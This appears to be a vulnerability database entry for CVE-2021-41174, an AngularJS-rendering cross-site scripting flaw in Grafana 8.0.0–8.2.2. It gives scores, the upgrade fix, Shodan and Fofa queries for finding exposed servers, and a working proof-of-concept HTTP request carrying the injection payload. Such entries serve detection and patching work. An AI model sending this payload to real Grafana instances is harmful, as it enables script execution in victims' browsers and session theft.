| Title | Grafana 8.0.0 <= v.8.2.2 - Angularjs Rendering Cross-Site Scripting |
|---|---|
| Author | pdteam |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the Grafana application. |
| Remediation | Upgrade to 8.2.3 or higher. |
| CVSS Score | 6.1 |
| EPSS Score | 0.79005 |
| CVE ID | CVE-2021-41174 |
| CWE ID | CWE-79 |
| Shodan Query | title:"Grafana"cpe:"cpe:2.3:a:grafana:grafana"http.title:"grafana" |
| Fofa Query | title="grafana"app="grafana" |
| Tags | cve2021 cve grafana xss vkev vuln |
Grafana is an open-source platform for monitoring and observability. In affected versions if an attacker is able to convince a victim to visit a URL referencing a vulnerable page, arbitrary JavaScript content may be executed within the context of the victim’s browser. The user visiting the malicious link must be unauthenticated and the link must be for a page that contains the login button in the menu bar. The url has to be crafted to exploit AngularJS rendering and contain the interpolation binding for AngularJS expressions.
GET /dashboard/snapshot/%7B%7Bconstructor.constructor(%27alert(document.domain)%27)()%7D%7D?orgId=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-41174.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-41174.pcap
N/AN/A